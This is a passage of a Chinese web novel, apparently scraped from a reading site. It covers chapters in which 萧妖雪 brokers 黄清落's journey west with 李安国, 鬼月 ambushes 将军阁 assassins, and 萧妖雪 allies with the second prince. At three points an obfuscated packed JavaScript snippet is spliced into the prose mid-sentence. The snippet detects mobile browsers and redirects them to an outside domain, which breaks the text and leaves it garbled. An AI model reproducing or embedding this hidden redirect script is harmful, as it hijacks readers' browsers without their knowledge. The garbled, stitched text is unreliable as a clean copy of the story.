这话出来可比刚刚萧妖雪对黄世学说得有用多了，毕竟李安国是真正在朝廷里做官的，他若真要废了黄家，甚至像萧妖雪那样还要经过，他完全可以直接动手。 再加上女儿这一闹，黄世学心里也没了底，就这样让李安国抱着黄清落离开了。 人群看着热闹没了便也散去了，原地只留下了萧妖雪和黄世学。 “黄大人，一旁茶楼坐坐吧？” 黄世学没想到，刚刚这样对着这位宰相千金说了这么口无遮拦的话，她现在还愿意坐下来同自己好好说说话，急忙点头答应。 “黄大人，我知道你对清落也是一片好心，但是她自己的心意你真的知道吗？” “我知道，她喜欢行商，但是她一个女孩子，我们黄家世代商人又怎么会不知道这行商的苦难，我不想她去冒这个险。” “所以你就找了罗升，希望他们成婚后，清落就可以安安心心在家中打理后宅？” “罗升是我们运渡司一个同僚的儿子，他的家境我知道的确不错。他父亲为人也不错，清落嫁过去不会受委屈，但是我不知道为什么，清落会这样排斥。” “黄大人，有没有想过可能清落心中已经有人了呢？” “这不可能！”黄世学似乎很不能接受这样的结果，整个人又再次紧张了起来。 “要我说，这个人可以好好的保护清落，甚至还可以让她做她想做的事情，黄大人可会相信？” “你是说你兄长？”黄世学也想到了刚刚李安国奋不顾身跳河救黄清落的画面，而且最后他还当这么多人的面…… “不如打个赌吧，三日后兄长就要离开京都前往西域，我们就来赌黄清落会不会跟着兄长远走胡笳。” “不行！” “赌不赌？”萧妖雪丝毫不在意黄世学的反对，而是放出了气息以做威压，让黄世学不敢再对她趾高气昂。” “可是西域这么大，清落又喜欢经商……” “兄长就是要去胡笳城。” “可是胡笳城……”黄世学的语气越来越弱。 “不巧我在胡笳城有不少朋友，让一个大小姐吃好住好也够了。”萧妖雪则是气势更甚，压得黄世学都有些喘不上气了。 “但是最近……” “兄长定能护好清落。” “若是她没去呢？”这似乎是黄世学最后的勇气。 “那我们李家日后再也不会打扰你们的生活。” “……” 看着黄世学最终失去了所有反驳的气势，萧妖雪端起桌上的茶杯与黄世学碰了一下，然后也不在乎喝不喝，自己独自饮尽。 “黄大人放心，清落不会有事的，而且我向你保证这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971962|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次清落回来，你们父女俩对对方的看法应该会发生不小的变化。” 说罢也不管黄世学是什么态度，便自顾自的离开，她现在要赶去医馆看看他们二人可还好。 医馆中李安国看着床上的黄清落脸红得有些不自然，有些担心的问大夫：“大夫，她还好吧，脸这么红，会不会是发烧了？” 大夫的回答当然是黄小姐只是受了惊吓，没有受风寒，只需要稍作休息就好了。 大夫走后这个小小的医馆又像那夜一样只留下两人，李安国却没有黄清落那般自在，尴尬的站在一旁。 思来想去，终于是开口问道：“黄小姐……你同你父亲的关系……”又觉得不得太适合，想就此收了声。 却不料黄清落却接话道：“父亲对我很好，至少他觉得很好。不过他总是会忽略我的想法，我觉得可能我们还是不太了解彼此吧。” “啊……这样呀。”面对黄清落这个回答，李安国也不知道该说什么好。 “李公子，你是不是马上就要去西域了？”黄清落还是率先打破了这尴尬的局面。 “后日出发。” “什么时候回来？” “我也不知道。”听到这个回答黄清落似乎有些失落。 “你……你可以带我一起去吗？我听说胡笳城有不少香料和布料商人，还有那西域的马家……”显然黄清落对自己提出的这个建议也不太抱有希望。 “那怎么行！”果然回应她的是李安国厉声的拒绝。不过好似李安国也意识到自己的语气不是太好，后面又软了些说道：“如今西丹虎视眈眈，你与我同去太过危险。” “哦，那好吧。”黄清落自然知道这个要求有些无理取闹，被拒绝是理所应当，但是其实她只是想找个地方暂时的离开京都。奈何袁梅刚刚成亲，自然是顾不上她，萧妖雪最近好似也没有离京的打算，所以她也就不抱希望问了李安国一嘴，但是最后真的被拒绝时她难免也有些失落。 李安国看着眉眼低垂的黄清落，心中也泛起了酸涩，若是说他是去游山玩水，又或是日常巡查的话，可能他真的会忍不住答应，毕竟自己心尖上人有这样的要求，他可是求之不得，但是这次去西域可谓是生死未卜，他不敢让她一同前去，甚至不敢让她知道自己对她的情愫。 却不料这个话题刚刚要收，门口就传来一个声音：“兄长，我觉得清落这个提议很是不错。” 房中黄清落和李安国同时将目光投向了进来的萧妖雪。 “妖雪你说什么呢，我这次去那可是。”李安国显然对于萧妖雪这样的提议很是不满。 “诶，只是说让你将清落带到西域，去胡笳城或者马家的地界，我自会找人安顿她。当然若是兄长不放心，亲自保驾护航那自然是更好。” “妖雪你……”李安国私护还想挣扎，但是心中本就有牵挂，这拒绝的话自然也就难以说出口了。 徐战小记： 相比于胡笳城周钦德等人惊心动魄的经历，徐战在京都的任务就轻松了不少。 之前他们这个小院确实被将军阁盯得紧，但是最近这些日子不知道是什么原因，来盯梢的人越来愈少了。但就算是这样徐战也不敢掉以轻心。毕竟按照自家殿下对于单骁的描述就是这人能绣花能杀人，他的心思可不比深宫中那些妃嫔的少。 但是人的精力终归是有限的，特别是在这样安稳的环境下，就算是徐战他也做不到草木皆兵。 而徐战之所以对于留守这么反感，不仅仅是因为这边工作清闲，更多原因是他要负责外出采买，这有一院子的大人们嗷嗷待哺，而只有他能够抛头露面。 这日徐战采买回去的路上，恰巧路过一条人烟稀少的小巷子，猛的他注意到后面有人在跟着他，而且这人还不是那么小心，说话声音就连徐战离这么远都能隐约听到。 “他真的会信吗？” “管不了这么多了，袁老大走之前交代了我们，我们总不能知情不报吧。” “你这狗腿子，现在知道叫袁老大了。” “卢化，你少在这造谣，我对于袁老大一直都很尊敬。” “你们说的袁老大是谁？”突然一个不属于两个人的声音从二人身后响起。二人都下了一跳，但是转头看到来人又松了一口气。 “徐大人，你吓死我们了。”被称作卢化的人开口道。 “你们认识我？” “在下鬼月卢化，这个是鬼月苏沐风。我们和袁清都是朋友，他走之前安排我们帮衬你一下。”卢化叽里咕噜就把袁清的安排全给说了，听得一旁的苏沐风直翻白眼。 徐战听下来，总结就是这袁清担心自己在京都照顾不过来，所以特意安排了几个鬼月的朋友帮忙。 他小子看不起谁呢！ “徐大人，卢化说的都不是关键。”苏沐风突然开口，说话声音不想卢化那样又急又快，反倒如同一盅温水，听得人甚是舒服。 “是发生什么事了吗？”徐战也立刻意识到两人的目的。 “鬼月收到情报，将军阁打算对你们动手了。” “他们人不是都撤走了吗？”徐战不解。 “之前是林相暗中周旋，让他们大消了疑虑，但是这次被派往胡笳城的段天行活着回来，他见到了德王殿下出面，所以必然很快就会对你们出手。” 听到这话，徐战的眉头也拧起来，之前他和周钦德住在那并不是什么不可告人的秘密，如今周钦德在胡笳城出手，他们的立场就很明了，将军阁自然不会放过独自留在京都的徐战。 “你现在快回去把那些人转移，这是新的地址，我们会带鬼月的兄弟过去伪装。这样就算他们大开杀戒，也不至于坏了德王殿下的好事。” 57. 落水情缘2 萧妖雪又在房中与黄清落闲聊了半晌，直到黄清落安稳睡了过去才离开。 看着黄清落安稳熟睡的样子，萧妖雪心中难免感慨，本来她以为黄清落的这一生都是美好幸福的。却没想到这深门大院中的金丝雀还是会向往广阔的天空，只希望她这一趟旅行不会后吧。 出了门才发现李安国并没有离开，而是一直在门外等着，似乎有什么话要对她说。 “兄长，怎么还没走？”萧妖雪试探性的问道，毕竟今天在屋里她是一句话都没有替李安国说，现在心中难免有些忐忑。 “为什么要叫她去？”果然李安国的语气不是很好。 萧妖雪来京都这段时间，与李安国相处对方一直都是温文和煦的态度，这还是第一次这样语气这么冷。 “她这段时间不可能再回黄家了。” “她是黄世学的女儿有什么不能回去。” “难道你真的愿意看着她就这样丢失了人生，然后毫无办法的嫁给一个她根本不认识的人吗？” “那也总比去西域丢了性命好。” “若是兄长觉得自己不足以保护好清落姑娘，那只需要你把她顺利送到胡笳城就行，我自然会安排胡笳城主和马家的人过来照顾她，其他便不劳你费心。” “那是最好不过。不对……”李安国话一出口就意识到不对劲了，她这是在讨自己的话。“妖雪你，反正我还说在这，她是死是活能不能到胡笳城全凭她自己造化，别想要我还分神管她。” “好呀，兄长既然你这么说，我自会转达黄小姐。过几日恰巧李府要大扫除了，兄长那会应该已经不在京都了，你的房间我就自作主张了，那张没脸的画想必也没有留着的必要了。” “你怎么……”这话一出李安国瞬间就慌神，但是萧妖雪也不给他辩驳的机会，她要的就是他手足无措，心惊胆战。 “我的好兄长，活人都不珍惜还在乎一张没脸的画。好了时辰不早了，父亲应该等急了，我们回去吧。”说着就推着李安国往外走，李安国一时间脑袋如同一团浆糊，他自诩为每次看那画都很谨慎，为什么萧妖雪还能知道。 那她除了看见他看画，她还有没有看到其他什么。这事她会不会和黄清落说，这样说了之后他是怎么有脸见人爱黄小姐。东梁宰相的儿子，兵马司的副职竟然有这样的癖好，他这以后还怎么在京都做人。 看着一路上都魂不守舍的李安国，萧妖雪实在看不下去了说道：“兄长，你别这样，你放心好了，这件事我绝对不会对任何人说，父亲和王氏我都不会说。我刚刚不也是想激你一下吗，你怎么就这样。你这样分神以后上了战场可是很危险的。” 听了萧妖雪的保证，李安国才放下心，毕竟潇湘阁在消息保密方面确实值得信赖，他现在也只能相信萧妖雪是有这地现在的。 果然二人回到李府，饭菜都已经上桌，李治和王氏也早早坐好了，但是今日这饭桌上还多了一人，萧妖雪才进门还没有发现有什么不对劲的地方，后面直到李安国开口问安，才想到为何周明理会坐在他们家的饭桌上。 “三殿下？今日这是？”萧妖雪满腹狐疑，但是周明理却是对着她笑笑并不说话。 “安国、妖雪快坐下，饭菜都要凉了。”王氏却招呼起来，二人也不敢耽搁急忙落座。 “你到底来干嘛？”萧妖雪挨着周明理坐下，用手肘拐着周明理问道。 “妖雪不得无礼，今日三殿下是来谈你们两的婚事的。”李治看着萧妖雪这态度，也是急忙制止道。 此时萧妖雪也注意到，房间的角落里放满了礼品，单是萝卜大小的人参就有两根，其他的金银更是不计其数。 “我们的婚期不是还有段时间吗？而且你……三殿下不是还要去趟东佛寺吗？”萧妖雪不明白，明明还有些日子，怎么这么早着急上门呢。 “不是我去，是我们。”周明理对萧妖雪的纠正道。 “我们？” “不错，妖雪我希望这次你能和我一起去。” “但是……”萧妖雪看向了李治，她想说如果她去父亲出事的时候自己根本来不及出手，而且这段时间李安国也不在，怎么想萧妖雪都有一种心慌的感觉，她不想去。但是这话却说不出口。 “妖雪，你就放心。这次情报不少是潇湘阁送回来的，你也应该去看看。而且这次你和三殿下一起去，为父也放心。”李治却毫不在意，反而一再鼓励萧妖雪和周明理一起去。 萧妖雪有些疑惑地看向周明理，似乎是想从他这得出一些消息。且不说这是朝廷的活计，没有安排给潇湘阁，圣人根本没有安排她参与这件事，而且她与周明理也还没有正式结为夫妻，这怎么说都不合适。 可是周明理回应她只是一个你放心的表情，之后的话题就略显无聊，都是关于这成亲仪式的讨论。 李治提了不少要求，有些萧妖雪听起来都觉得有些荒谬，但是周明理竟然全部都应了下来。 而其中有一条就是，李治希望大婚当日萧妖雪双亲无论如何都要到场。周明理听到这的时候，显然愣了一下，随后点头答应。 萧妖雪才开始以为是因为周明理担心将母亲的灵位搬到拜堂现场不好，却不知道当时周明理心中想的却完全不是这件事。 饭后，周明理又陪着萧妖雪在院中转了几圈，萧妖雪带他去看了这府中的李治花了大价钱打造水榭楼台，又去看了那些奇珍异兽。 最后二人逛到了祠堂门口，周明理却主动提出想进去祭拜一下。 萧妖雪只觉得今日周明理和父亲都有些怪怪的，似乎他们都在等待发生什么一样，但是他们很有默契，什么都不说。 二人进了祠堂，宋独眼就迎了上来，他常年呆在祠堂里，对于这外面的这些王子皇孙自然是不了解，看着眼前这陌生的男子，留下的那只眼睛全是提防和警惕。 “宋老伯，这位是三殿下，周明理。”萧妖雪对着宋独眼介绍道。 “原来是小姐未来的夫婿，老奴刚刚失礼了，还望三殿下恕罪。”宋独眼眼中的警惕终于消失了，但是萧妖雪清晰地看到那一丝提防从未消失。 “宋老伯，麻烦你拿两柱清香。” “是，小姐。” 不一会清香就递到了二人手中，萧妖雪先给娘的牌位擦拭了一下，然后点了香祭拜了一番。这才让到一边，让周明理上前。 周明理，点燃了清香，对着萧妖雪母亲张清的牌位拜了三拜，口中念念有词，萧妖雪只能隐约到，什么放心、会好的、真心，这样只言片语，但是她也能猜到，周明理现在一定是在对着娘亲的牌位发誓未来一定会好好照顾自己。 出了祠堂，天已经完全黑了，周明理便打算告辞，萧妖雪不知为何，心中突然有些不舍，又以送他一程的名义，陪着周明理走了好远。 直到周明理觉得萧妖雪一个人走这么远回去不太好了，这才当下了萧妖雪前进的脚步。 “妖雪，你今天怎么了？”在周明理看来今天萧妖雪也有些奇怪，平日里她有机会都会调笑几句，可是今日这么久了，萧妖雪还真像一个大家闺秀一样，说话做事都没有一丝逾矩。 但是周明理也明白了，恐怕这些大家闺秀的端庄举止都是因为心中有事。 “我？没事呀？”萧妖雪不明白，周明理为何突然这么问，但是似乎他问完之后，之前心中那股子慌乱和不舍又加深了。 周明理四周看了一下，确定现在已经是四下无人，突然伸手抱住了萧妖雪。 一个突如其来的拥抱，让萧妖雪有些不自在，条件反射的开始挣扎，但是周明理抱她抱的更紧，夏日天气炎热，二人的衣裳都穿得轻薄，这样相贴都可以清晰的感受到对方加快心跳。 “妖雪，我想你来京都之前一定有很多人对你说过在京都只有生死，没有爱恨。但是我希望你记住你我都不属于京都，以前不是以后也不是。” 或许是周明理这话真的刺到了萧妖雪痛处，又或许是这个拥抱太过温暖，离开时就连夏日的晚风都有些凉得刺眼。 萧妖雪的泪水竟然不自觉的流了下来，周明理低头轻轻地吻去了那滴泪水，声音也不再低沉，而是严肃了不少：“你现在要回李府，还是去潇湘阁。去潇湘阁的话，我陪你过去。” 萧妖雪突然意识到，其实周明理非常了解她，他知道她现在不想回李府，他好像还知道她要准备离开京都之前都要频繁的去潇湘阁，而刚刚出门的时候她也正有此意。 “去潇湘阁。”心思被猜中，萧妖雪难免有些不自在，但是好在对方并不讨厌。 “那走吧。” 这几日天下榜开榜，京都潇湘阁的楼外挂了两条巨大的布带，一条写着天下武榜，群英荟萃。上面所书正是这江湖人人期待的武榜。而另一条则是天下女子心心念念的胭脂榜，同样是几个大字写着胭脂榜上，百花齐放。 二人这段时间都没有来过潇湘阁，看到这景象难免驻足，观赏了一番。 萧妖雪对于这两榜的内容倒是了然于胸，比如这武榜第一无可厚非正是路行，至于胭脂榜，其实只要能上榜都是人间尤物。 周明理倒是看得津津有味，看完之后对着萧妖雪问道：“为何这榜上没有你？” “三殿下觉得我应该上哪个榜呢？”萧妖雪刚刚情绪已经发泄完了，现在心情好转了不少，也忍不住开始和周明理打趣了。 “看到天下那两个字了吗？我觉得你应该都写在那两个字上面，是吧潇湘阁少阁主。”最后几个字是周明理在萧妖雪轻轻的说的，口中吐出来的气，打在萧妖雪耳朵上，引得她的心跟着一跳一跳的。 “你……你说什么呢？”虽然周明理说的没错，但是这事她自然是不能承认的。虽然只要周明理没有什么坏心思，他知道了也没什关系，但是为了他的小命，萧妖雪你还是觉得他不要知道确定答案是最好的。 “没什么，萧小姐快去忙吧，本王就不打扰萧小姐了。”说着摆出了一个请的姿势。 “殿下都到这了，不如进去坐坐，给你安排几个上好姑娘，毕竟之后在路上姑娘的品质可就不如这京都潇湘阁了。” 萧妖雪说这话，周明理自然知道她想要什么回答，但是他怎么就只能这样轻易的说。 “呀，奈何这好时候，本王要赶着回宫，不如萧小姐把最好的那个送来？” “无耻，喝西北风去吧。”萧妖雪显然有些不高兴了，转身就向着潇湘阁走去。 “我刚刚不是说了吗，你应该写在那天下上面，难道萧小姐还不知道，我想要的是谁吗？” 听到这话，萧妖雪也不回头，只是脚下脚步慢了些，随后一句轻轻的“滚”随着夜风飘来，周明理看到萧妖雪的耳朵红了。 自从上次给萧妖雪下了药以后，萧妖雪就再也没有亲自来过潇湘阁，沈轻离也没想到，今天她会来，只是刚刚偶然路过窗边的时候，看到萧妖雪和周明理在下面斗嘴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“恐怕他还不愿意走。”沈轻离听到萧妖雪的这个要求，她面色突然沉了下来。 “发生什么了？” “他知道那个账本的事情了。说什么当年袁清救过胡笳城，怎么都有一起看这鬼月这件事解决。” “他难道不知道，我们现在潇湘阁已经站在这件事情的对立面了吗？”萧妖雪有些看不懂这个少城主的风格了，他如果要为了袁清升冤，那应该是去跟着袁墨干，干嘛还告诉沈轻离。 “所以说呀，只要明眼人都看得出来，这账本有问题。只有袁墨那个死脑筋，一股劲的查潇湘阁，这几天已经来了好几波刑案司的人来搜，闹得潇湘阁生意都差了。” “袁墨已经被架在那了，随他便吧，反正他也搜不到，过段时间也就过去了。” 现在袁梅同周明启刚刚成婚，这账本又是自家妹夫提供的线索，袁墨当然要查，这谁也拦不住，反正只要没有让他查出来就好了。 “妖雪，你今晚过来恐怕不止是为了这些琐事吧，我听说你要和三殿下去东佛寺了。” “消息挺灵通，轻离姐，你帮我以潇湘阁少阁主的身份，把二殿下请到楼里坐坐吧。” 沈轻离听到这话，整个人都僵住了“少阁主这是打算？” “京都要变天了，提前认识下，之后也好应对。” “是！” 徐战小记： 徐战告别了卢化和苏沐风两人，就急忙赶回了小院子里，看着各位大人还安然无恙，也是松了一口气，急忙安排他们转到了鬼月提供的地点，但是徐战还是不放心，又暗中去找了潇湘阁，确定了这消息无误，才安心让他们住下。 而苏沐风和卢化通知完徐战也没闲着，叫了几个鬼月兄弟又回到了那个小院中。他们之前也暗中蹲守过，自然知道如何伪装最像他们之前的状态。 果然太阳还没落山的时候，小院外面盯梢的人就多了，看来林相也没能拖住将军阁太久。而这些人也同样非常谨慎，一直在院外观察。 直到夜幕降临，伸手不见五指的树林里，只剩下虫鸣声。灯火摇曳的屋内，也只有几人若似蚊蝇的谈话声的时候，风吹林动，却在落叶见有几道黑影闪动，直奔着院落而来。 这个时候屋内外的人都很紧张，院门被轻轻叩响，却半晌没有人去开门。门外的黑衣人也不再等，后退几步向着墙头一跃而上，在不惊起一丝灰尘的轻轻的落在院中。 而在他们看来屋内的人却还毫无察觉，为首的人对着身后打了个手势，几人就这样悄悄的靠近那间亮着灯的屋子。 就在众人距离屋子只有几步之遥的时候，身后的柴火堆和仓库同时传来动静，下一瞬间一群如同鬼魅一样的人包围他们，而他们面前的屋子的窗户也“嘭”的一声碎了，里面的灯火打在外面几人的脸上，他们也看清屋内的景色，那所谓坐着的人，不过是窗户上贴的假人。 而那些真人却从各个隐秘的角落飘出，围住了他们。 下一秒短兵相接，将军阁的人完全招架不住鬼月的攻势，毕竟在出手之前，卢化就交代了他们往死打，他们活着回去将军阁会知道人被转移了，他们死了将军阁也会知道。 那不如就让他们死了，这样还可以让将军阁多费心思去查，到底是谁做的。 果然一夜激战后，鬼月众人总算是把来的这些将军阁“侠士”清理干净，众人也算全身而退。 而第二日朝廷就下令严查这次凶案，一定要找到凶手，而且不知道哪里来了证人，说是知道这屋子原来是德王周钦德所居。这下周钦德、袁清和徐战都上了通缉令。 58. 落水情缘3 东梁的城门随日出而开，日落而闭。夏日的东梁日却格外的早。但是却在城门还没有打开之前，门口就已经聚集了不少等着进城和出城的。 随着大门缓缓的开启，阳光透过城洞也洒入了京都。人们就在这样充满希望的朝阳中开始了一天的忙碌。 在城门口等待除了这寻常做生意的老百姓，今日还多了一行人。 两男一女，三人都骑了高头大马，但是后面还是跟了一辆马车，看起来就是一副要出远门的样子。 “黄小姐，要不你还是去坐马车吧。”一个男子说道。 而这女子自然就是之前已经与李安国约定好要一同前往西域的黄清落，本以为这一去只有她和李安国两个人，却不料今日城门口一碰面，才发现李安国还带了一人。 这人黄清落没见过，见了恐怕也不记得，毕竟长相平平，气质平平，谈吐平平，特别他身旁还有李安国这样一颗明星在，要不是李安国主动介绍，黄清落都根本不会注意到这个人。 但是李安国一介绍，黄清落就忘不了。 “罗大人不必这样，我不会拖你们后腿的。”黄清落有些不耐烦的回道。 不错这人正是之前差点与黄清落定亲的罗升，也不知道是什么缘分，让他刚好就在兵马司任职，而恰巧就在李安国手下。 那日经历了黄清落跳河之后，李安国回到了兵马司就查到了罗升这个人，也不知道他当时出于什么动机，就把罗升点了过来，让他一起前往西域。 罗家听到这话，直接是摆了一桌酒宴庆祝，毕竟罗升跟着李安国去这不就相当于他的副将，只要他活着回来，那日后必然是升官发财，一路通。 可是当罗升得知这次去还有一名女子同行的时候，他就觉得有些不对劲，但是他也不好同家里说，以免他们担心。 而直到今日一早他听到李安国介绍这位女子叫做黄清落的时候，才意识到大事不妙。 家里面给自己物色的对象，和宰相家的千金要好这事是京都人尽皆知的事情，而李安国是宰相的长子，这事现在怎么看都有些复杂，罗升难免有些心惊胆战，感情这是他的修罗场呀。 黄清落也没想到李安国会叫来罗升，二人第一次见面就如此尴尬，但是黄清落内心确定，李安国一定是故意的。 不过个人心中都有自己的底线，在底线之上一切可行，所以黄清落也只当罗升就是一个随行的士兵，但是内心对于李安国多少有一丝不满。 二人在一旁的谈话，李安国自然是听到了，但是他却并不想插嘴，这马车是他让罗升准备的。此去胡笳路途遥远，就算他们这些常年打仗的，骑马这么远都会有些遭不住，更别说黄清落这样做了这么多年京都大小姐娇贵人。 但是却不料黄清落还是个硬骨头，说什么都不愿意坐马车，总是觉得自己会拖累他们的行程，一定要骑马。 没办法，李安国又调了一匹马过来，好在黄清落本身也会骑马，倒是减少了他们还要教这位大小姐骑马的活计。 城门开后，人潮便向着城外涌去，三人一车一同出了城。 他们去向西域，背负着阳光，背后是温暖的，但是迎面而来的风却是带着黑夜留下的凉爽。 李安国带头走在前面，速度不慢，罗升经过了兵马司的训练，跟上自然不在话下，但是黄清落就有些吃劲，原来却是学过骑马，但是距离她上一次也过去好多年，这样一上来就上了速度，黄清落却是有些落后。 但是这种时候就是憋着一口气，黄清落也不开口，让李安国慢些，努力调整了下自己在马背上的坐姿，在行了几里地后，与马儿的配合也更好了，这马毕竟是兵马司喂养出来，很快就和黄清落配合上，也逐渐跟上了李安国的步伐。 李安国听着后面逐渐跟上来的马蹄声，心中也是惊讶，要知道他现在的速度，就算是一般的那些纨绔子弟要跟上也有些困难，黄清落竟然只用了这么短的时间就与这匹马配合得这么好，确实有些天赋。 罗升也注意到了跟上来的黄清落，本想着开口聊两句，但是这话还没出口，前面就传来了李安国的声音“没事别废话，小心马粪飞嘴里。” 罗升不得已就只好闭上了嘴，用眼神询问黄清落，是否可以跟得上。 黄清落则是丝毫没有给他回应，而是紧绷着小脸，紧跟着李安国。毕竟她现在实在分不出神来，李安国之所以制止罗升开口，也是注意到了，黄清落脑门上已经冒出了薄汗，骑马终究是个体力活。 在他们走了几个时辰后，太阳已经到中天，灼热的阳光晒的马鞍滚烫，但是李安国却没有丝毫要停下休息的准备，而是继续带着二人赶路，黄清落紧紧跟了一路，现在明显体力有些不支了，她只觉得头脑晕晕，似乎都是出于机械运动一样骑在马背上起起伏伏。 “前面有客栈，我们今日就在这里休息吧。”李安国此话一出，别说黄清落了，就连罗升都觉得是一种救赎。 但是现在不过正午刚过，这就休息不免让罗升有些担心之后的行程，所以还是开口问道：“我们今日就不赶路了吗？现在不过午时刚过。” “现在已经入夏，下午赶路太过炎热，按我们这速度人和马匹都会遭不住。”说话时李安国还不忘看了一眼黄清落，似乎就是暗示这里人特指黄清落。 但是现在黄清落已经没有力气再说什么了，她现在只觉得腰部以下的身子已经不属于她，完全失去了知觉，小腹更是酸胀的要命，更别提那大腿根火辣辣的痛感，但是马匹要进驿站慢了下来，每摇晃一下都是对她全身的折磨。 到了驿站李安国和罗升都是轻松的翻身下马，只有黄清落还坐在马上不动。 李安国看到这一幕，对着罗升安排道：“罗升，你先进去，让人把房间打理出来。我不习惯与人同住，就都各自一间吧。” “是！”罗升虽然不明白这两人是要干什么，但是李安国是他的上司，他怎么安排就怎么办吧。 看着罗升进了客栈，李安国在转头看向黄清落的时候，她还是一动不动的坐在马上，但是眼神不似刚刚那么空无一物，而是满眼求助的看着李安国。 “怎么？腿麻了动不了了？”李安国自己也是这么过来，想当时可是自己爬下马的，下了马更是一步都走不动，可是旁人却只是冷眼旁观，最后他就这样在地上趴了好半晌，也被那些人笑了好半晌。 所以他很明白现在黄清落的感受，更别说她还是个女孩子，今日这路程她要是能动，那李安国都要怀疑这个黄清落是萧妖雪假扮的了。 “我……”黄清落刚开口，就发现自己不仅嗓子干涩，而且竟然还带上了哭腔，虽然只是一个字，她急忙就没再说了，怕下一秒眼泪就要不争气的流下来。 但也就是一个已经足够让李安国心头一颤了，他急忙一把把黄清落从马背上抱了下来，怕下一秒他就要出丑了。 果然黄清落双脚刚刚沾到地，她就想着甩开李安国的扶着的手。但是这马背上的长途跋涉的后劲可比她想象中大得多，顿时两腿一软就直接倒在李安国怀里。 黄清落还想挣扎着站起来，却被李安国拦腰抱起，径直向着客栈内走去。 黄清落顿时全身的血液都在往脸上涌，两朵红云飞上了脸颊。 “你放我下来，我可以……” “你真的可以？” “我……还有行李呢。” “待会我给你送过去。” 黄清落看着李安国虽然一脸嫌弃，但是还是紧紧抱着自己不放。进了大厅他们这样的组合很快就吸引来了不少目光。 而李安国却毫不在意，对着楼上的罗升问道：“房间在哪？” 罗升探了个头说道：“上楼左手边两间和右手边第一间。” “你去右手边住。” 罗升已经开了左边的门，他本想着让黄小姐独自住在右边或许比较方便，但是没想到李安国好像有自己的想法。 李安国把黄清落放在床上，又下去给她拿了行李。临走时放了一瓶药膏在床边，说道：“骑马磨到地方，最好都涂一下。这药膏成分没问题，哪里都可以用。” 说完就头也不回离开了房间，此时黄清落的大腿已经疼得不行，撩起裙子一看，果然已经破皮了，那药涂上去冰冰凉凉果然舒服了不少。 此时刚刚失去知觉的半身已经恢复感觉，但是更加不好的消息就是，黄清落感觉到除了刚刚大腿火烧火燎，似乎还有其他地方也有隐隐的火灼感。 难怪李安国这么说，黄清落好不容易凉下去的脸又烫了起来。 客栈简陋，相邻两间的房的床紧贴着同一面墙壁，李安国躺下之后就听到隔壁传来的声音，看来果然是还是破皮了。 而在离开李安国离开后的第二天，周明理也启程去了东佛寺，可是他在城门口等到了太阳已经快到中天了，还是没有见到萧妖雪的身影，实在没有办法的他，只能先行离开了。 萧妖雪却也没有闲着，她自然知道周明理是今日离开，但是她还抱有最后一丝幻想，所以她躲到了潇湘阁，又或者说她与二皇子周明志“恰好”在这一日约在潇湘阁。 周明志收到了潇湘阁的邀请，在处理完朝中事务后就独自来到了潇湘阁，接迎的鸟雀早就做好了准备，见了周明志便把他迎上了顶楼。 周明志收到了沈轻离的信件，只说少阁主让他来潇湘阁，却没有说到底是为了什么事，但是周明知道，潇湘阁除非是很重要的事情，不然必定不会让他亲自来。 而当房门推开的时候，周明志的脚步不禁停住了。里面坐了一个女子，没有带面纱，没有带面具。 他仅仅是这样一眼，他就能看出她的身份，更别说这人他还认识。 “二殿下来了，就别在门口站着了，进来坐吧。”女子好像并不在意她的身份暴露了。 周明志还是略显怀疑坐到了女子对面，此时他也不好看清了女子的长相，果然刚刚是没有看错。 “呃，萧姑娘这是？” “之前与二殿下并没有正式见过，今天就正式的介绍一下吧。在下萧妖雪是潇湘阁的少阁主。” “原来是你。”周明志似乎是松了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003444|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气，好似刚刚他一直以为自己是误打误撞知道了什么一样。还好是对方早有准备的就打算告诉他了。 “二殿下现在已经亲政，可是奈何我之后可能有段时间不在京都，所以今天就想找殿下来聊聊，不知二殿下可愿意？” 这话其实在周明志进了这潇湘阁问已经没有意义了，但是萧妖雪还是问了，这是周明志最后一次反悔机会。 “少阁主但说无妨。” “沈楼主，麻烦你把断离香灭了吧。”萧妖雪对着门外喊道，然后起身开窗透气。 断离香，周明志听到这个名字的时候还是吓了一跳，这香闻到的人只要再配上特制的茶，就会失去闻到香的这段时间的记忆，刚刚萧妖雪这样问，如果自己要走，恐怕无论如何也不会再记得自己见过谁了。 “还望二殿下见谅，毕竟今日之后我们就算真正的盟友了。潇湘阁可以倾尽所有助殿下登上帝位。” “多谢少阁主青睐。”周明志年纪虽然比萧妖雪大，但是他对面坐的已经不是相府的千金，也不是自己的弟妹，而是潇湘阁的少阁主。” 茶香飘逸，烛火摇曳。这一场密谈从午后一直持续到夜幕降临，杯中虽是茶水，但是每次举杯都是一场利益的交换，东梁的命运也在这之间悄然书写。 夜幕降临的潇湘阁更加热闹，窗外人声鼎沸，楼外的灯火映进了楼中，遮住了烛火的光芒。萧妖雪借着灯光细细地打量着周明志，周钦德三个皇子出去走在一起不说还真看不出他们是兄弟。 